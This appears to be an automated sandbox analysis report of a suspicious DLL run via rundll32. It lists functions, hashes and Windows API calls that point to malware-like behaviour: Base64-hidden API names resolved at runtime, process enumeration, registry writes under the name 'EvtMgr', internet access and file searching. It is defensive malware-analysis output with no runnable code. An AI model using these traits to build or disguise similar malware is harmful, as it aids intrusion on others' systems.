Instruction ID: ad2f920e9778d69807a12391a49186a6d5e25611a08f9dc3c907af6526498538
Opcode Fuzzy Hash: 5140d0d9db605dcb194d2652ea19dca16f20f6a940eaa12075955abeed17ba9d
Instruction Fuzzy Hash: A4112E32648226ABE718CB64EDD5F8977A5FB05295F158019E901CB2A0E732E890CB95

Function 10002580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(73AC0000,00000000), ref: 100025A4

Strings

TmV0TG9jYWxHcm91cEVudW0=, xrefs: 10002590

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0TG9jYWxHcm91cEVudW0=
API String ID: 190572456-980335172
Opcode ID: ded17689c4bd67110a5be128d15644960cbee1cf4a5f393b86463d8bf9b49e85
Instruction ID: e2bb3045dcad879353c92d9ca582775d4a1260cfb397e564f33c378eb59ea92b
Opcode Fuzzy Hash: ded17689c4bd67110a5be128d15644960cbee1cf4a5f393b86463d8bf9b49e85
Instruction Fuzzy Hash: 9CC04CF58007109BF642DBA49D85B4A3799E74C28AB018424F51DD222AE734E2959B15

Function 10002640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(73AC0000,00000000), ref: 10002664

Strings

TmV0QXBpQnVmZmVyRnJlZQ==, xrefs: 10002650

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: TmV0QXBpQnVmZmVyRnJlZQ==
API String ID: 190572456-3244026974
Opcode ID: 5da32a4a5574a052550975bb5b0bbc93ab09694d4bcd5f2703c64bdbfbfc511d
Instruction ID: 0ade1f184abd6a37764815a29ceca78810d2d009be9ca9e5ee1f1b4efe6a2c35
Opcode Fuzzy Hash: 5da32a4a5574a052550975bb5b0bbc93ab09694d4bcd5f2703c64bdbfbfc511d
Instruction Fuzzy Hash: AFC08CF88006205BF642CB608C84B0A3398E30C38AB008010F659D222AD730E1A08B11

Function 1000B5E0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 1000B0A0: lstrcpy.KERNEL32(?,?), ref: 1000B0D9
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,10019BD4), ref: 1000B0F2
Part of subcall function 1000B0A0: lstrcat.KERNEL32(?,*.*), ref: 1000B101
Part of subcall function 1000B0A0: FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113

Sleep.KERNEL32(0036EE80), ref: 1000B686

Strings

C:\Program Files, xrefs: 1000B5E9

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcat$FileFindFirstSleeplstrcpy
String ID: C:\Program Files
API String ID: 187370985-1387799010
Opcode ID: 104c4d2efdd1e2322e4b23a01710967e339c577f5a1987c4c7f9844ac907495e
Instruction ID: 61b073742c814ce492014a967659e3b424d997019ce0857d6221e672e47afb5b
Opcode Fuzzy Hash: 104c4d2efdd1e2322e4b23a01710967e339c577f5a1987c4c7f9844ac907495e
Instruction Fuzzy Hash: 3E113CB88057559BF300DF69ECD15477BE0FB84684F008929E85587316E735D649CBA3

Function 033805A9 Relevance: 2.6, APIs: 2, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 03380625
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03380658

Memory Dump Source

Source File: 00000005.00000003.1697705613.0000000003380000.00000040.00001000.00020000.00000000.sdmp, Offset: 03380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_3_3380000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction ID: ad8fccde4c0dc4423abfe53a4f7b411d98761f7a81d8181a87cfba26fd0598ee
Opcode Fuzzy Hash: 8f1e82fa3ca701645e3a29dd561cede71442c6ae341de50c792d69400040f94a
Instruction Fuzzy Hash: 6B215775A01319BFDB00DFA4CC80BEEFBF9FB44294F208162E910A2280E7708A599B54

Function 10004C20 Relevance: 1.5, APIs: 1, Instructions: 20registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(?,?,?,?,?,?,?,?,?,1000906E,80000001,00000000,?), ref: 10004C4D

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 150bd87b14d3b07de01cf752c73747d879c117e8bc87c6aeaf82a9217c82b333
Instruction ID: 4b958377b8f6819c9cb17a5be3b00e8c41f947a8e294ec63b8cfc4c184e4756b
Opcode Fuzzy Hash: 150bd87b14d3b07de01cf752c73747d879c117e8bc87c6aeaf82a9217c82b333
Instruction Fuzzy Hash: 24E00AB5218601AF9604CF49D894C1BB3F9BBCD700F10CA0CB599C3254D630E806CB62

Function 10004B40 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000003,00000003,00000003,00000003,00000003,40000000,?,1000BBE4,c:\agtve\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004B63

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9c96cc994586578f316554800c59ad217e0e27d90daea8609a1871e27ba07cfa
Instruction ID: b1acddf2ec3e37a5d5dcdfaa1de533b66f54714f002444a5cde71aefe8c48c35
Opcode Fuzzy Hash: 9c96cc994586578f316554800c59ad217e0e27d90daea8609a1871e27ba07cfa
Instruction Fuzzy Hash: 85D0A2B6618212AF9644CF98EA94D1BB7E9ABCCB00F10890CB585D3254D670EC49CB73

Function 10004C70 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,74DF0F10,?,1000AAC6,?,74DF0F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0fccdda7f6bc64189a44bad6c102572695505bb3016eb6268000810ac36e3e21
Instruction ID: ebaf1be8d889f364eaf5267f0a81e264a20874aa47e59fc56bef3f2ec861e65a
Opcode Fuzzy Hash: 0fccdda7f6bc64189a44bad6c102572695505bb3016eb6268000810ac36e3e21
Instruction Fuzzy Hash: 13D0BCB5618742AF9744CF58D994C3BB7E9BBC8611F148D0CB59583254D730E849CB62

Function 10004CC0 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,?,?,100090C2,?,EvtMgr,00000000,00000001,?), ref: 10004CDE

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: acb95854f7ebfe107d9ad6fa5725a02533b256ecd7490f7e051e36ee0d353bb8
Instruction ID: f56af968e5fe79637af5710c571a5d5bb89e367fb5f00816f0ff50808f0d9261
Opcode Fuzzy Hash: acb95854f7ebfe107d9ad6fa5725a02533b256ecd7490f7e051e36ee0d353bb8
Instruction Fuzzy Hash: 96D06CF5208342AF9704CF48D984C3BB3E9BBC8600F048D0CB59683210C734E808CB62

Function 10004960 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,?,00000000), ref: 1000497E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: d5fa67fd77fc08087aa00dd8c2a10ade798770437726e994f987ef2aecb902aa
Instruction ID: 24a332b1a684adcd34ca85a3606a9ea4ce0bf4268c39e93a7a2cc773aab27df0
Opcode Fuzzy Hash: d5fa67fd77fc08087aa00dd8c2a10ade798770437726e994f987ef2aecb902aa
Instruction Fuzzy Hash: E5D0BCB5618342AF9704CF98D994D3BB7E9BBC8610F148D0CB59983254D730E849CB62

Function 10004CA0 Relevance: 1.5, APIs: 1, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,00020019,1000AA61,80000002,1000B947,00000000,00020019,?,?,?,74DF0F00), ref: 10004CB9

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: adf75bf85e2af3ddcfeaeaac0d99d0987dcd00327a37493a0bb918ee9644fffb
Instruction ID: 50e6064c7111890aa9a03aac3f3b9a89cc62f2ac42a6c8a70e0450a1f82d0af1
Opcode Fuzzy Hash: adf75bf85e2af3ddcfeaeaac0d99d0987dcd00327a37493a0bb918ee9644fffb
Instruction Fuzzy Hash: 0ED0C2B9218201AF9604CB54D994C2BB3E9ABC8711F10C90CB59983240C630EC04CB22

Function 10004940 Relevance: 1.5, APIs: 1, Instructions: 12networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6e00a86521e39f70200af91c0e782be9a776f46f6143d79cb541def31d59b899
Instruction ID: c57f2b60c8454c0bab147a503f00b76e005ba1046bd805275401aac779bd7d3b
Opcode Fuzzy Hash: 6e00a86521e39f70200af91c0e782be9a776f46f6143d79cb541def31d59b899
Instruction Fuzzy Hash: B4D0C5F9218201AFAA08CB98D994D2BB3E9ABC8711F00C90CB5A983240C634E805CB22

Function 10004A80 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000080,00000080,00000004,00000000,1000BBF2,00000000,00000000,00000000,00000002,c:\agtve\ReadMe.txt,40000000,00000003,00000000,00000004,00000080,00000000), ref: 10004A94

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 307ad37cac304fa9a49160dccf8dcea02f02b058180b3fe4503caacfb64423ba
Instruction ID: 6891ee5e46bc57ffaf97ee454a71f1b365b33a6ff264fc0d3ac975428b6807b6
Opcode Fuzzy Hash: 307ad37cac304fa9a49160dccf8dcea02f02b058180b3fe4503caacfb64423ba
Instruction Fuzzy Hash: C1C002B9608301BFDA04CB54C888D6BB7E9EBC8340F00C90CF999C3210C674E880CB22

Function 100048E0 Relevance: 1.5, APIs: 1, Instructions: 8synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: c3fc0ddbfa11ab48aec40ca6578fb8896d180a8c1cb42ca496ab622c98b4a772
Instruction ID: 2243b4d894195d018e8de0dd45e47365024512defcc99eb91dc30795441f5685
Opcode Fuzzy Hash: c3fc0ddbfa11ab48aec40ca6578fb8896d180a8c1cb42ca496ab622c98b4a772
Instruction Fuzzy Hash: 07C04C78104211BFDA04CB14C984C2BB7A9EBC4610F00C90CB89582214C630EC80DB51

Function 10004B10 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

GetShortPathNameA.KERNEL32(?,?,?), ref: 10004B1F

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: NamePathShort
String ID:
API String ID: 1295925010-0
Opcode ID: 9f5cfde4427fa5097d0c1c0217ac771adfd46cf51cf8a9311dee08de603acc45
Instruction ID: 5a9084a55f8d2033a769c09c7aad229fb9ca7a40d13baa6944edb8cb5aec9d82
Opcode Fuzzy Hash: 9f5cfde4427fa5097d0c1c0217ac771adfd46cf51cf8a9311dee08de603acc45
Instruction Fuzzy Hash: B2C048B8208200BFEA04CB10C988C3BB7E9EBC9610F00C90CF88983210C670EC40DB22

Function 100014A0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04C26F98), ref: 100014B6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3fdfd97ca8c23d8f0530906f45af778a22596f4696536d932bba85b17bd97f22
Instruction ID: 725f2ff9a6cedf6bbb67758c43434fa7ac3ec696b7c5dfde3be615a84814b02d
Opcode Fuzzy Hash: 3fdfd97ca8c23d8f0530906f45af778a22596f4696536d932bba85b17bd97f22
Instruction Fuzzy Hash: 75B092B0801520CBEB02CB6088C840B7674A30C2423108205FA10C3228EB34D0009B50

Function 100014D0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04C25F90), ref: 100014E6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a7f2342bc6644b56cfd7610f8ddd93b81e28e0250071e72ee512f0feba057ba5
Instruction ID: 35b88f928cdc07da968701179a6f33f0e97a6378d6662f65b823b83c2d3665f9
Opcode Fuzzy Hash: a7f2342bc6644b56cfd7610f8ddd93b81e28e0250071e72ee512f0feba057ba5
Instruction Fuzzy Hash: A8B092B4900520CBEA12CBA0888840B76A4B30C2813008205F920C3229EB30D000DB10

Function 10004D10 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32First.KERNEL32(00000000,00000000), ref: 10004D1A

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: 06074555a490e452e0c33516115e8def1b160905719b86e6ca60f0acd3be714b
Instruction ID: 43577a1182ef3f798ff4e4d470cfcf9041e9be16eb90189a2022d36134155a7f
Opcode Fuzzy Hash: 06074555a490e452e0c33516115e8def1b160905719b86e6ca60f0acd3be714b
Instruction Fuzzy Hash: 51B09275504200ABD214DB10C994C2BB7A8AB94301B00C809B48A82210C630D840CB21

Function 10001530 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04C21050), ref: 10001546

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2558f847f3bd71bba4265f3a4f9d7399b42694cb2fe8554de869f675100a772c
Instruction ID: 0f05b9913dce9b7b17749fc1586e01a4e82b3307b98390648e12e362a5b60e72
Opcode Fuzzy Hash: 2558f847f3bd71bba4265f3a4f9d7399b42694cb2fe8554de869f675100a772c
Instruction Fuzzy Hash: 9DB092F0800A20CBFA128B608CC84473774A34C242320C002F911C7224E730C154DB20

Function 10004D30 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,00000000), ref: 10004D3A

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: fb3d1d2fe4f58d77b62947db14fcf388f89edba650b3a7b099c6c960cb254603
Instruction ID: 432f843a027fd044bab358c4309ee591cd41ce3803a4c335f332d4fec9f9d121
Opcode Fuzzy Hash: fb3d1d2fe4f58d77b62947db14fcf388f89edba650b3a7b099c6c960cb254603
Instruction Fuzzy Hash: EDB092B5104200ABD214DB10C984C2BB7A8ABD4301B008808B48A82110C634D880CB21

Function 10001590 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(033FD0A0), ref: 100015A6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b8e4ff15c4138358dcbf467bb1e805bc5a866f0c9e2c71367f6b70752848133d
Instruction ID: 22283fd24f107b37298acc13f8db5db648e85e1336fc49587faefca2ed5f0806
Opcode Fuzzy Hash: b8e4ff15c4138358dcbf467bb1e805bc5a866f0c9e2c71367f6b70752848133d
Instruction Fuzzy Hash: 24B092B0850924CBF612CB608CC840B3774A78C2423408201F915C7225E730C010DB10

Function 10001620 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(033FA088), ref: 10001636

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
